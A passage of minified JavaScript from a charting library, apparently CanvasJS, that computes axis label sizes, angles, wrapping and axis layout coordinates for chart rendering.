this.lineCoordinates.width*Math.log(Math.min(this._labels[this._labels.length-
1].position/this._labels[this._labels.length-
2].position,this._labels[1].position/this._labels[0].position))/Math.log(this.range
):this.lineCoordinates.width/(this.logarithmic&&this.equidistantInterval?
Math.log(this.range)/Math.log(this.logarithmBase):Math.abs(this.range))*S[this.inte
rvalType+"Duration"]*this.interval,g="undefined"===typeof
this.options.labelMaxWidth?
0.5*this.chart.width>>0:this.options.labelMaxWidth,this.chart.panEnabled||
(k="undefined"===typeof this.options.labelWrap||this.labelWrap?
0.8*this.chart.height>>0:1.5*this.labelFontSize);else
if("left"===this._position||"right"===this._position)l=this.logarithmic&&!
this.equidistantInterval&&2<=this._labels.length?
this.lineCoordinates.height*Math.log(Math.min(this._labels[this._labels.length-
1].position/this._labels[this._labels.length-
2].position,this._labels[1].position/this._labels[0].position))/Math.log(this.range
):this.lineCoordinates.height/(this.logarithmic&&this.equidistantInterval?
Math.log(this.range)/Math.log(this.logarithmBase):Math.abs(this.range))*S[this.inte
rvalType+"Duration"]*this.interval,this.chart.panEnabled||(g="undefined"===typeof
this.options.labelMaxWidth?
0.3*this.chart.width>>0:this.options.labelMaxWidth),k="undefined"===typeof
this.options.labelWrap||this.labelWrap?
0.3*this.chart.height>>0:1.5*this.labelFontSize;for(c=0;c<this._labels.length;c++)
{a=this._labels[c].textBlock;a.maxWidth=g;a.maxHeight=k;var
B=a.measureText();h=B.height}e=[];n=q=0;if(this.labelAutoFit||
this.options.labelAutoFit)if(u(this.labelAngle)||(this.labelAngle=(this.labelAngle
%360+360)%360,90<this.labelAngle&&270>this.labelAngle?this.labelAngle-
=180:270<=this.labelAngle&&360>=this.labelAngle&&(this.labelAngle-
=360)),"bottom"===this._position||"top"===this._position)if(g=0.9*l>>0,n=0,!
this.chart.panEnabled&&1<=this._labels.length)
{this.sessionVariables.labelFontSize=this.labelFontSize;this.sessionVariables.label
MaxWidth=g;this.sessionVariables.labelMaxHeight=k;this.sessionVariables.labelAngle=
this.labelAngle;this.sessionVariables.labelWrap=this.labelWrap;for(b=0;b<this._labe
ls.length;b++)if(!this._labels[b].breaksLabelType)
{a=this._labels[b].textBlock;for(var v,f=a.text.split(" "),c=0;c<f.length;c+
+)p=f[c],this.ctx.font=a.fontStyle+" "+a.fontWeight+" "+a.fontSize+"px
"+a.fontFamily,p=this.ctx.measureText(p),p.width>n&&(v=b,n=p.width)}b=0;for(b=this.
intervalStartPosition<this.viewportMinimum?1:0;b<this._labels.length;b++)if(!
this._labels[b].breaksLabelType)
{a=this._labels[b].textBlock;B=a.measureText();for(f=b+1;f<this._labels.length;f+
+)if(!this._labels[f].breaksLabelType)
{d=this._labels[f].textBlock;d=d.measureText();break}e.push(a.height);this.sessionV
ariables.labelMaxHeight=Math.max.apply(Math,e);Math.cos(Math.PI/180*Math.abs(this.l
abelAngle));Math.sin(Math.PI/180*Math.abs(this.labelAngle));c=g*Math.sin(Math.PI/18
0*Math.abs(this.labelAngle))+(k-
a.fontSize/2)*Math.cos(Math.PI/180*Math.abs(this.labelAngle));if(u(this.options.lab
elAngle)&&isNaN(this.options.labelAngle)&&0!
==this.options.labelAngle)if(this.sessionVariables.labelMaxHeight=0===this.labelAng
le?k:Math.min((c-
g*Math.cos(Math.PI/180*Math.abs(this.labelAngle)))/Math.sin(Math.PI/180*Math.abs(th
is.labelAngle)),c),p=(m-(h+a.fontSize/2)*Math.cos(Math.PI/180*Math.abs(-
25)))/Math.sin(Math.PI/180*Math.abs(-25)),!
u(this.options.labelWrap))this.labelWrap?u(this.options.labelMaxWidth)?
(this.sessionVariables.labelMaxWidth=Math.min(Math.max(g,n),p),this.sessionVariable
s.labelWrap=this.labelWrap,B.width+d.width>>0>2*g&&(this.sessionVariables.labelAngl
e=-25)):
(this.sessionVariables.labelWrap=this.labelWrap,this.sessionVariables.labelMaxWidth
=this.options.labelMaxWidth,this.sessionVariables.labelAngle=this.sessionVariables.
labelMaxWidth>g?-
25:this.sessionVariables.labelAngle):u(this.options.labelMaxWidth)?
(this.sessionVariables.labelWrap=this.labelWrap,this.sessionVariables.labelMaxHeigh
t=k,this.sessionVariables.labelMaxWidth=g,B.width+d.width>>0>2*g&&(this.sessionVari
ables.labelAngle=-25,this.sessionVariables.labelMaxWidth=p)):
(this.sessionVariables.labelAngle=this.sessionVariables.labelMaxWidth>g?-
25:this.sessionVariables.labelAngle,this.sessionVariables.labelMaxWidth=this.option
s.labelMaxWidth,this.sessionVariables.labelMaxHeight=k,this.sessionVariables.labelW
rap
=this.labelWrap);else{if(u(this.options.labelWrap))if(!
u(this.options.labelMaxWidth))this.options.labelMaxWidth<g?
(this.sessionVariables.labelMaxWidth=this.options.labelMaxWidth,this.sessionVariabl
es.labelMaxHeight=c):(this.sessionVariables.labelAngle=-
25,this.sessionVariables.labelMaxWidth=this.options.labelMaxWidth,this.sessionVaria
bles.labelMaxHeight=k);else if(!
u(d))if(c=B.width+d.width>>0,f=this.labelFontSize,n<g)c-2*g>q&&(q=c-
2*g,c>=2*g&&c<2.2*g?
(this.sessionVariables.labelMaxWidth=g,u(this.options.labelFontSize)&&12<f&&(f=Math
.floor(12/13*f),a.measureText()),this.sessionVariables.labelFontSize=u(this.options
.labelFontSize)?
f:this.options.labelFontSize,this.sessionVariables.labelAngle=this.labelAngle):c>=2
.2*g&&c<2.8*g?(this.sessionVariables.labelAngle=-
25,this.sessionVariables.labelMaxWidth=p,this.sessionVariables.labelFontSize=f):c>=
2.8*g&&c<3.2*g?
(this.sessionVariables.labelMaxWidth=Math.max(g,n),this.sessionVariables.labelWrap=
!
0,u(this.options.labelFontSize)&&12<this.labelFontSize&&(this.labelFontSize=Math.fl
oor(12/13*this.labelFontSize),a.measureText()),this.sessionVariables.labelFontSize=
u(this.options.labelFontSize)?
f:this.options.labelFontSize,this.sessionVariables.labelAngle=this.labelAngle):c>=3
.2*g&&c<3.6*g?(this.sessionVariables.labelAngle=-
25,this.sessionVariables.labelWrap=!
0,this.sessionVariables.labelMaxWidth=p,this.sessionVariables.labelFontSize=this.la
belFontSize):c>3.6*g&&c<5*g?
(u(this.options.labelFontSize)&&12<f&&(f=Math.floor(12/13*f),a.measureText()),this.
sessionVariables.labelFontSize=u(this.options.labelFontSize)?
f:this.options.labelFontSize,this.sessionVariables.labelWrap=!
0,this.sessionVariables.labelAngle=-
25,this.sessionVariables.labelMaxWidth=p):c>5*g&&(this.sessionVariables.labelWrap=!
0,this.sessionVariables.labelMaxWidth=g,this.sessionVariables.labelFontSize=f,this.
sessionVariables.labelMaxHeight=k,this.sessionVariables.labelAngle=this.labelAngle)
);else if(v===b&&(0===v&&n+this._labels[v+1].textBlock.measureText().width-2*g>q||
v===this._labels.length-1&&n+this._labels[v-1].textBlock.measureText().width-
2*g>q||0<v&&v<this._labels.length-
1&&n+this._labels[v+1].textBlock.measureText().width-2*g>q&&n+this._labels[v-
1].textBlock.measureText().width-2*g>q))q=0===v?
n+this._labels[v+1].textBlock.measureText().width-2*g:n+this._labels[v-
1].textBlock.measureText().width-
2*g,this.sessionVariables.labelFontSize=u(this.options.labelFontSize)?
f:this.options.labelFontSize,this.sessionVariables.labelWrap=!
0,this.sessionVariables.labelAngle=-25,this.sessionVariables.labelMaxWidth=p;else
if(0===q)for(this.sessionVariables.labelFontSize=u(this.options.labelFontSize)?
f:this.options.labelFontSize,this.sessionVariables.labelWrap=!
0,c=0;c<this._labels.length;c+
+)a=this._labels[c].textBlock,a.maxWidth=this.sessionVariables.labelMaxWidth=Math.m
in(Math.max(g,n),p),B=a.measureText(),c<this._labels.length-
1&&(f=c+1,d=this._labels[f].textBlock,d.maxWidth=this.sessionVariables.labelMaxWidt
h=Math.min(Math.max(g,n),p),d=d.measureText(),B.width+d.width>>0>2*g&&(this.session
Variables.labelAngle=-
25))}else(this.sessionVariables.labelAngle=this.labelAngle,this.sessionVariables.la
belMaxHeight=0===this.labelAngle?k:Math.min((c-
g*Math.cos(Math.PI/180*Math.abs(this.labelAngle)))/Math.sin(Math.PI/180*Math.abs(th
is.labelAngle)),c),p=0!=this.labelAngle?(m-
(h+a.fontSize/2)*Math.cos(Math.PI/180*Math.abs(this.labelAngle)))/Math.sin(Math.PI/
180*Math.abs(this.labelAngle)):g,this.sessionVariables.labelMaxHeight=k=this.labelW
rap?(m-
p*Math.sin(Math.PI/180*Math.abs(this.labelAngle)))/Math.cos(Math.PI/180*Math.abs(th
is.labelAngle)):1.5*this.labelFontSize,u(this.options.labelWrap))?
u(this.options.labelWrap)&&(this.labelWrap&&!u(this.options.labelMaxWidth)?
(this.sessionVariables.labelWrap=this.labelWrap,this.sessionVariables.labelMaxWidth
=this.options.labelMaxWidth?
this.options.labelMaxWidth:p,this.sessionVariables.labelMaxHeight=k):
(this.sessionVariables.labelAngle=this.labelAngle,this.sessionVariables.labelMaxWid
th=p,this.sessionVariables.labelMaxHeight=c<0.9*l?
0.9*l:c,this.sessionVariables.labelWrap=this.labelWrap)):(this.options.labelWrap?
(this.sessionVariables.labelWrap=this.labelWrap,this.sessionVariables.labelMaxWidth
=this.options.labelMaxWidth?this.options.labelMaxWidth:p):
(u(this.options.labelMaxWidth),this.sessionVariables.labelMaxWidth=this.options.lab
elMaxWidth?
this.options.labelMaxWidth:p,this.sessionVariables.labelWrap=this.labelWrap),this.s
essionVariables.labelMaxHeight=k)}for(c=0;c<this._labels.length;c+
+)a=this._labels[c].textBlock,a.maxWidth=this.labelMaxWidth=this.sessionVariables.l
abelMaxWidth,a.fontSize=this.sessionVariables.labelFontSize,a.angle=this.labelAngle
=this.sessionVariables.labelAngle,a.wrap=this.labelWrap=this.sessionVariables.label
Wrap,a.maxHeight=this.sessionVariables.labelMaxHeight,a.measureText()}else
for(b=0;b<this._labels.length;b+
+)a=this._labels[b].textBlock,a.maxWidth=this.labelMaxWidth=u(this.options.labelMax
Width)?
this.sessionVariables.labelMaxWidth:this.options.labelMaxWidth,a.fontSize=this.labe
lFontSize=u(this.options.labelFontSize)?
this.sessionVariables.labelFontSize:this.options.labelFontSize,a.angle=this.labelAn
gle=u(this.options.labelAngle)?
this.sessionVariables.labelAngle:this.labelAngle,a.wrap=this.labelWrap=u(this.optio
ns.labelWrap)?
this.sessionVariables.labelWrap:this.options.labelWrap,a.maxHeight=this.sessionVari
ables.labelMaxHeight,a.measureText();else
if("left"===this._position||"right"===this._position)if(g=u(this.options.labelMaxWi
dth)?0.3*this.chart.width>>0:this.options.labelMaxWidth,k="undefined"===typeof
this.options.labelWrap||this.labelWrap?
0.3*this.chart.height>>0:1.5*this.labelFontSize,!
this.chart.panEnabled&&1<=this._labels.length)
{this.sessionVariables.labelFontSize=this.labelFontSize;this.sessionVariables.label
MaxWidth=g;this.sessionVariables.labelMaxHeight=k;this.sessionVariables.labelAngle=
u(this.sessionVariables.labelAngle)?
0:this.sessionVariables.labelAngle;this.sessionVariables.labelWrap=this.labelWrap;f
or(b=0;b<this._labels.length;b++)if(!this._labels[b].breaksLabelType)
{a=this._labels[b].textBlock;B=a.measureText();for(f=b+1;f<this._labels.length;f+
+)if(!this._labels[f].breaksLabelType)
{d=this._labels[f].textBlock;d=d.measureText();break}e.push(a.height);this.sessionV
ariables.labelMaxHeight=Math.max.apply(Math,e);c=g*Math.sin(Math.PI/180*Math.abs(th
is.labelAngle))+(k-
a.fontSize/2)*Math.cos(Math.PI/180*Math.abs(this.labelAngle));Math.cos(Math.PI/180*
Math.abs(this.labelAngle));Math.sin(Math.PI/180*Math.abs(this.labelAngle));u(this.o
ptions.labelAngle)&&isNaN(this.options.labelAngle)&&0!==this.options.labelAngle?
u(this.options.labelWrap)?
u(this.options.labelWrap)&&(u(this.options.labelMaxWidth)?u(d)||
(l=B.height+d.height>>0,l-2*k>n&&(n=l-2*k,l>=2*k&&l<2.4*k?
(u(this.options.labelFontSize)&&12<this.labelFontSize&&(this.labelFontSize=Math.flo
or(12/13*this.labelFontSize),a.measureText()),this.sessionVariables.labelMaxHeight=
k,this.sessionVariables.labelFontSize=u(this.options.labelFontSize)?
this.labelFontSize:this.options.labelFontSize):l>=2.4*k&&l<2.8*k?
(this.sessionVariables.labelMaxHeight=c,this.sessionVariables.labelFontSize=this.la
belFontSize,this.sessionVariables.labelWrap=!0):l>=2.8*k&&l<3.2*k?
(this.sessionVariables.labelMaxHeight=k,this.sessionVariables.labelWrap=!
0,u(this.options.labelFontSize)&&12<this.labelFontSize&&(this.labelFontSize=Math.fl
oor(12/13*this.labelFontSize),a.measureText()),this.sessionVariables.labelFontSize=
u(this.options.labelFontSize)?
this.labelFontSize:this.options.labelFontSize,this.sessionVariables.labelAngle=u(th
is.sessionVariables.labelAngle)?
0:this.sessionVariables.labelAngle):l>=3.2*k&&l<3.6*k?
(this.sessionVariables.labelMaxHeight=c,this.sessionVariables.labelWrap=!
0,this.sessionVariables.labelFontSize=this.labelFontSize):l>3.6*k&&l<10*k?
(u(this.options.labelFontSize)&&12<this.labelFontSize&&(this.labelFontSize=Math.flo
or(12/13*this.labelFontSize),a.measureText()),this.sessionVariables.labelFontSize=u
(this.options.labelFontSize)?
this.labelFontSize:this.options.labelFontSize,this.sessionVariables.labelMaxWidth=g
,this.sessionVariables.labelMaxHeight=k,this.sessionVariables.labelAngle=u(this.ses
sionVariables.labelAngle)?
0:this.sessionVariables.labelAngle):l>10*k&&l<50*k&&(u(this.options.labelFontSize)&
&12<this.labelFontSize&&(this.labelFontSize=Math.floor(12/13*this.labelFontSize),a.
measureText()),this.sessionVariables.labelFontSize=u(this.options.labelFontSize)?
this.labelFontSize:this.options.labelFontSize,this.sessionVariables.labelMaxHeight=
k,this.sessionVariables.labelMaxWidth=g,this.sessionVariables.labelAngle=u(this.ses
sionVariables.labelAngle)?0:this.sessionVariables.labelAngle))):
(this.sessionVariables.labelMaxHeight=k,this.sessionVariables.labelMaxWidth=this.op
tions.labelMaxWidth?
this.options.labelMaxWidth:this.sessionVariables.labelMaxWidth)):
(this.sessionVariables.labelMaxWidth=this.labelWrap?this.options.labelMaxWidth?
this.options.labelMaxWidth:this.sessionVariables.labelMaxWidth:this.labelMaxWidth?
this.options.labelMaxWidth?
this.options.labelMaxWidth:this.sessionVariables.labelMaxWidth:g,this.sessionVariab
les.labelMaxHeight=k):
(this.sessionVariables.labelAngle=this.labelAngle,this.sessionVariables.labelMaxWid
th=0===this.labelAngle?g:Math.min((c-
k*Math.sin(Math.PI/180*Math.abs(this.labelAngle)))/Math.cos(Math.PI/180*Math.abs(th
is.labelAngle)),k),u(this.options.labelWrap))?
u(this.options.labelWrap)&&(this.labelWrap&&!u(this.options.labelMaxWidth)?
(this.sessionVariables.labelMaxWidth=this.options.labelMaxWidth?
this.options.labelMaxWidth>this.options.labelMaxWidth:this.sessionVariables.labelMa
xWidth,this.sessionVariables.labelWrap=this.labelWrap,this.sessionVariables.labelMa
xHeight=c):(this.sessionVariables.labelMaxWidth=this.options.labelMaxWidth?
this.options.labelMaxWidth:g,this.sessionVariables.labelMaxHeight=0===this.labelAng
le?
k:c,u(this.options.labelMaxWidth)&&(this.sessionVariables.labelAngle=this.labelAngl
e))):this.options.labelWrap?
(this.sessionVariables.labelMaxHeight=0===this.labelAngle?k:c,this.sessionV
ariables.labelWrap=this.labelWrap,this.sessionVariables.labelMaxWidth=g):
(this.sessionVariables.labelMaxHeight=k,u(this.options.labelMaxWidth),this.sessionV
ariables.labelMaxWidth=this.options.labelMaxWidth?
this.options.labelMaxWidth:this.sessionVariables.labelMaxWidth,this.sessionVariable
s.labelWrap=this.labelWrap)}for(c=0;c<this._labels.length;c+
+)a=this._labels[c].textBlock,a.maxWidth=this.labelMaxWidth=this.sessionVariables.l
abelMaxWidth,a.fontSize=this.labelFontSize=this.sessionVariables.labelFontSize,a.an
gle=this.labelAngle=this.sessionVariables.labelAngle,a.wrap=this.labelWrap=this.ses
sionVariables.labelWrap,a.maxHeight=this.sessionVariables.labelMaxHeight,a.measureT
ext()}else for(b=0;b<this._labels.length;b+
+)a=this._labels[b].textBlock,a.maxWidth=this.labelMaxWidth=u(this.options.labelMax
Width)?
this.sessionVariables.labelMaxWidth:this.options.labelMaxWidth,a.fontSize=this.labe
lFontSize=u(this.options.labelFontSize)?
this.sessionVariables.labelFontSize:this.options.labelFontSize,a.angle=this.labelAn
gle=u(this.options.labelAngle)?
this.sessionVariables.labelAngle:this.labelAngle,a.wrap=this.labelWrap=u(this.optio
ns.labelWrap)?
this.sessionVariables.labelWrap:this.options.labelWrap,a.maxHeight=this.sessionVari
ables.labelMaxHeight,a.measureText();for(b=0;b<this.stripLines.length;b++){var
g=this.stripLines[b],z;if("outside"===g.labelPlacement)
{k=this.sessionVariables.labelMaxWidth;if("bottom"===this._position||"top"===this._
position)z=u(g.options.labelWrap)?this.sessionVariables.labelMaxHeight:g.labelWrap?
0.8*this.chart.height>>0:1.5*this.labelFontSize;if("left"===this._position||"right"
===this._position)z=u(g.options.labelWrap)?
this.sessionVariables.labelMaxHeight:g.labelWrap?
0.8*this.chart.width>>0:1.5*this.labelFontSize;u(g.labelBackgroundColor)&&(g.labelB
ackgroundColor="#EEEEEE")}else k="bottom"===this._position||"top"===this._position?
0.9*this.chart.width>>0:0.9*this.chart.height>>0,z=u(g.options.labelWrap)||
g.labelWrap?"bottom"===this._position||"top"===this._position?
0.8*this.chart.width>>0:0.8*this.chart.height>>0:1.5*this.labelFontSize,u(g.labelBa
ckgroundColor)&&(u(g.startValue)&&0!==g.startValue?
g.labelBackgroundColor=r?"transparent":null:g.labelBackgroundColor="#EEEEEE");a=new
ka(this.ctx,
{x:0,y:0,backgroundColor:g.labelBackgroundColor,borderColor:g.labelBorderColor,bord
erThickness:g.labelBorderThickness,cornerRadius:g.labelCornerRadius,maxWidth:g.opti
ons.labelMaxWidth?
g.options.labelMaxWidth:k,maxHeight:z,angle:this.labelAngle,text:g.labelFormatter?
g.labelFormatter({chart:this.chart,axis:this,stripLine:g}):g.label,horizontalAlign:
"left",fontSize:"outside"===g.labelPlacement?g.options.labelFontSize?
g.labelFontSize:this.labelFontSize:g.labelFontSize,fontFamily:"outside"===g.labelPl
acement?g.options.labelFontFamily?
g.labelFontFamily:this.labelFontFamily:g.labelFontFamily,fontWeight:"outside"===g.l
abelPlacement?g.options.labelFontWeight?
g.labelFontWeight:this.labelFontWeight:g.labelFontWeight,fontColor:g.labelFontColor
||g.color,fontStyle:"outside"===g.labelPlacement?g.options.labelFontStyle?
g.labelFontStyle:this.fontWeight:g.labelFontStyle,textBaseline:"middle"});this._str
ipLineLabels.push({position:g.value,textBlock:a,effectiveHeight:null,stripLine:g})}
};z.prototype.createLabelsAndCalculateWidth=function(){var
a=0,d=0;this._labels=[];this._stripLineLabels=[];var b=this.chart.isNavigator?
0:5;if("left"===this._position||"right"===this._position)
{this.createLabels();for(d=0;d<this._labels.length;d++){var
c=this._labels[d].textBlock,e=c.measureText(),g=0,g=0===this.labelAngle?
e.width:e.width*Math.cos(Math.PI/180*Math.abs(this.labelAngle))+(e.height-
c.fontSize/2)*Math.sin(Math.PI/180*Math.abs(this.labelAngle));a<g&&(a=g);this._labe
ls[d].effectiveWidth=g}for(d=0;d<this._stripLineLabels.length;d+
+)"outside"===this._stripLineLabels[d].stripLine.labelPlacement&&(this._stripLineLa
bels[d].stripLine.value>=this.viewportMinimum&&this._stripLineLabels[d].stripLine.v
alue<=this.viewportMaximum)&&(c=this._stripLineLabels[d].textBlock,e=c.measureText(
),g=0===this.labelAngle?
e.width:e.width*Math.cos(Math.PI/180*Math.abs(this.labelAngle))+(e.height-
c.fontSize/2)*Math.sin(Math.PI/180*Math.abs(this.labelAngle)),a<g&&(a=g),this._stri
pLineLabels[d].effectiveWidth=g)}d=this.title?
this._titleTextBlock.measureText().height+2:0;return
c="inside"===this.labelPlacement?
c=d+b:d+a+this.tickLength+b};z.prototype.createLabelsAndCalculateHeight=function()
{var a=0;this._labels=[];this._stripLineLabels=[];var
d,b=0,c=this.chart.isNavigator?
0:5;this.createLabels();if("bottom"===this._position||"top"===this._position)
{for(b=0;b<this._labels.length;b++){d=this._labels[b].textBlock;var
e=d.measureText(),g=0,g=0===this.labelAngle?
e.height:e.width*Math.sin(Math.PI/180*Math.abs(this.labelAngle))+(e.height-
d.fontSize/2)*Math.cos(Math.PI/180*Math.abs(this.labelAngle));a<g&&(a=g);this._labe
ls[b].effectiveHeight=g}for(b=0;b<this._stripLineLabels.length;b+
+)"outside"===this._stripLineLabels[b].stripLine.labelPlacement&&(this._stripLineLa
bels[b].stripLine.value>=this.viewportMinimum&&this._stripLineLabels[b].stripLine.v
alue<=this.viewportMaximum)&&(d=this._stripLineLabels[b].textBlock,e=d.measureText(
),g=0===this.labelAngle?
e.height:e.width*Math.sin(Math.PI/180*Math.abs(this.labelAngle))+(e.height-
d.fontSize/2)*Math.cos(Math.PI/180*Math.abs(this.labelAngle)),a<g&&(a=g),this._stri
pLineLabels[b].effectiveHeight=g)}d=this.title?
this._titleTextBlock.measureText().height+2:0;return
b="inside"===this.labelPlacement?
b=d+c:d+a+this.tickLength+c};z.setLayout=function(a,d,b,c,e,g){var k,l,h,m,p=a[0]?
a[0].chart:d[0].chart,q=p.isNavigator?0:10,n=p._axes;if(a&&0<a.length)for(var
f=0;f<a.length;f+
+)a[f]&&a[f].calculateAxisParameters();if(d&&0<d.length)for(f=0;f<d.length;f+
+)d[f].calculateAxisParameters();if(b&&0<b.length)for(f=0;f<b.length;f+
+)b[f].calculateAxisParameters();if(c&&0<c.length)for(f=0;f<c.length;f+
+)c[f].calculateAxisParameters();for(f=0;f<n.length;f+
+)if(n[f]&&n[f].scaleBreaks&&n[f].scaleBreaks._appliedBreaks.length)for(var
r=n[f].scaleBreaks._appliedBreaks,v=0;v<r.length&&!
(r[v].startValue>n[f].viewportMaximum);v++)r[v].endValue<n[f].viewportMinimum||
(u(n[f].scaleBreaks.firstBreakIndex)&&(n[f].scaleBreaks.firstBreakIndex=v),r[v].sta
rtValue>=n[f].viewPortMinimum&&(n[f].scaleBreaks.lastBreakIndex=v));for(var
z=v=0,t=0,C=0,x=0,D=0,y=0,A,E,F=l=0,H,I,L,r=H=I=L=!1,f=0;f<n.length;f+
+)n[f]&&n[f].title&&(n[f]._titleTextBlock=new ka(n[f].ctx,
{text:n[f].title,horizontalAlign:"center",fontSize:n[f].titleFontSize,fontFamily:n[
f].titleFontFamily,fontWeight:n[f].titleFontWeight,fontColor:n[f].titleFontColor,fo
ntStyle:n[f].titleFontStyle,borderColor:n[f].titleBorderColor,borderThickness:n[f].
titleBorderThickness,backgroundColor:n[f].titleBackgroundColor,cornerRadius:n[f].ti
tleCornerRadius,textBaseline:"top"}));for(f=0;f<n.length;f+
+)if(n[f].title)switch(n[f]._position)
{case"left":n[f]._titleTextBlock.maxWidth=n[f].titleMaxWidth||
g.height;n[f]._titleTextBlock.maxHeight=n[f].titleWrap?
0.8*g.width:1.5*n[f].titleFontSize;n[f]._titleTextBlock.angle=-
90;break;case"right":n[f]._titleTextBlock.maxWidth=n[f].titleMaxWidth||
g.height;n[f]._titleTextBlock.maxHeight=n[f].titleWrap?
0.8*g.width:1.5*n[f].titleFontSize;n[f]._titleTextBlock.angle=90;break;default:n[f]
._titleTextBlock.maxWidth=n[f].titleMaxWidth||
g.width,n[f]._titleTextBlock.maxHeight=n[f].titleWrap?
0.8*g.height:1.5*n[f].titleFontSize,n[f]._titleTextBlock.angle=0}if("normal"===e)
{for(var C=[],x=[],D=[],y=[],M=[],N=[],O=[],Q=[];4>v;){var
G=0,R=0,S=0,U=0,W=e=0,K=0,$=0,V=0,X=0,P=0,ba=0;if(b&&0<b.length)for(D=[],f=P=0;f<b.
length;f++)D.push(Math.ceil(b[f]?
b[f].createLabelsAndCalculateWidth():0)),P+=D[f],K+=b[f]&&!p.isNavigator?
b[f].margin:0;else D.push(Math.ceil(b[0]?
b[0].createLabelsAndCalculateWidth():0));O.push(D);if(c&&0<c.length)for(y=[],f=ba=0
;f<c.length;f++)y.push(Math.ceil(c[f]?
c[f].createLabelsAndCalculateWidth():0)),ba+=y[f],$+=c[f]?c[f].margin:0;else
y.push(Math.ceil(c[0]?
c[0].createLabelsAndCalculateWidth():0));Q.push(y);k=Math.round(g.x1+P+K);h=Math.ro
und(g.x2-ba-$>p.width-q?p.width-q:g.x2-ba-
$);if(a&&0<a.length)for(C=[],f=V=0;f<a.length;f+
+)a[f]&&(a[f].lineCoordinates={}),a[f].lineCoordinates.width=Math.abs(h-
k),a[f].title&&(a[f]._titleTextBlock.maxWidth=0<a[f].titleMaxWidth&&a[f].titleMaxWi
dth<a[f].lineCoordinates.width?
a[f].titleMaxWidth:a[f].lineCoordinates.width),C.push(Math.ceil(a[f]?
a[f].createLabelsAndCalculateHeight():0)),V+=C[f],e+=a[f]&&!p.isNavigator?
a[f].margin:0;else C.push(Math.ceil(a[0]?
a[0].createLabelsAndCalculateHeight():0));M.push(C);if(d&&0<d.length)for(x=[],f=X=0
;f<d.length;f+
+)d[f]&&(d[f].lineCoordinates={}),d[f].lineCoordinates.width=Math.abs(h-
k),d[f].title&&(d[f]._titleTextBlock.maxWidth=0<d[f].titleMaxWidth&&d[f].titleMaxWi
dth<d[f].lineCoordinates.width?
d[f].titleMaxWidth:d[f].lineCoordinates.width),x.push(Math.ceil(d[f]?
d[f].createLabelsAndCalculateHeight():0)),X+=x[f],W+=d[f]&&!p.isNavigator?
d[f].margin:0;else x.push(Math.ceil(d[0]?
d[0].createLabelsAndCalculateHeight():0));N.push(x);if(a&&0<a.length)for(f=0;f<a.le
ngth;f++)a[f]&&(a[f].lineCoordinates.x1=k,h=Math.round(g.x2-ba-$>p.width-q?p.width-
q:g.x2-ba-
$),a[f]._labels&&1<a[f]._labels.length&&(l=m=0,m=a[f]._labels[1],l="dateTime"===a[f
].valueType?a[f]._labels[a[f]._labels.length-2]:a[f]._labels[a[f]._labels.length-
1],z=m.textBlock.width*Math.cos(Math.PI/180*Math.abs(m.textBlock.angle))+
(m.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(m.textBlock.angle)),t=l.textB
lock.width*Math.cos(Math.PI/180*Math.abs(l.textBlock.angle))+(l.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(l.textBlock.angle))),!a[f]||
(!a[f].labelAutoFit||u(A)||u(E)||p.isNavigator)||(l=0,0<a[f].labelAngle?
E+t>h&&(l+=0<a[f].labelAngle?E+t-h-ba:0):0>a[f].labelAngle?A-z<k&&A-
z<a[f].viewportMinimum&&(F=k-(K+a[f].tickLength+D+A-
z+a[f].labelFontSize/2)):0===a[f].labelAngle&&(E+t>h&&(l=E+t/2-h-ba),A-z<k&&A-
z<a[f].viewportMinimum&&(F=k-K-a[f].tickLength-D-
A+z/2)),a[f].viewportMaximum===a[f].maximum&&a[f].viewportMinimum===
a[f].minimum&&0<a[f].labelAngle&&0<l?h-
=l:a[f].viewportMaximum===a[f].maximum&&a[f].viewportMinimum===a[f].minimum&&0>a[f]
.labelAngle&&0<F?
k+=F:a[f].viewportMaximum===a[f].maximum&&a[f].viewportMinimum===a[f].minimum&&0===
a[f].labelAngle&&(0<F&&(k+=F),0<l&&(h-=l))),p.panEnabled?
V=p.sessionVariables.axisX.height:p.sessionVariables.axisX.height=V,l=Math.round(g.
y2-V-
e+G),m=Math.round(g.y2),a[f].lineCoordinates.x2=h,a[f].lineCoordinates.width=h-
k,a[f].lineCoordinates.y1=l,a[f].lineCoordinates.y2=l,a[f].bounds={x1:k,y1:l,x2:h,y
2:m-(V+e-C[f]-G),width:h-k,height:m-l}),G+=C[f]
+a[f].margin;if(d&&0<d.length)for(f=0;f<d.length;f+
+)d[f].lineCoordinates.x1=Math.round(g.x1+P+K),d[f].lineCoordinates.x2=Math.round(g
.x2-ba-$>p.width-q?p.width-q:g.x2-ba-$),d[f].lineCoordinates.width=Math.abs(h-
k),d[f]._labels&&1<d[f]._labels.length&&(m=d[f]._labels[1],l="dateTime"===d[f].valu
eType?d[f]._labels[d[f]._labels.length-2]:d[f]._labels[d[f]._labels.length-
1],z=m.textBlock.width*Math.cos(Math.PI/180*Math.abs(m.textBlock.angle))+
(m.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(m.textBlock.angle)),t=l.textB
lock.width*Math.cos(Math.PI/180*Math.abs(l.textBlock.angle))+(l.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(l.textBlock.angle))),p.panEna
bled?
X=p.sessionVariables.axisX2.height:p.sessionVariables.axisX2.height=X,l=Math.round(
g.y1),m=Math.round(g.y2+d[f].margin),d[f].lineCoordinates.y1=l+X+W-
R,d[f].lineCoordinates.y2=l,d[f].bounds={x1:k,y1:l+(X+W-x[f]-R),x2:h,y2:m,width:h-
k,height:m-l},R+=x[f]+d[f].margin;if(b&&0<b.length)for(f=0;f<b.length;f+
+)K=p.isNavigator?0:10,b[f]&&(k=Math.round(a[0]?
a[0].lineCoordinates.x1:d[0].lineCoordinates.x1),K=b[f]._labels&&0<b[f]._labels.len
gth?b[f]._labels[b[f]._labels.length-
1].textBlock.height/2:q,l=Math.round(g.y1+X+W<Math.max(K,q)?
Math.max(K,q):g.y1+X+W),h=Math.round(a[0]?
a[0].lineCoordinates.x1:d[0].lineCoordinates.x1),K=0<a.length?
0:b[f]._labels&&0<b[f]._labels.length?
b[f]._labels[0].textBlock.height/2:q,m=Math.round(g.y2-V-e-
K),b[f].lineCoordinates={x1:h-S,y1:l,x2:h-S,y2:m,height:Math.abs(m-
l)},b[f].bounds={x1:k-(D[f]+S),y1:l,x2:h,y2:m,width:h-k,height:m-
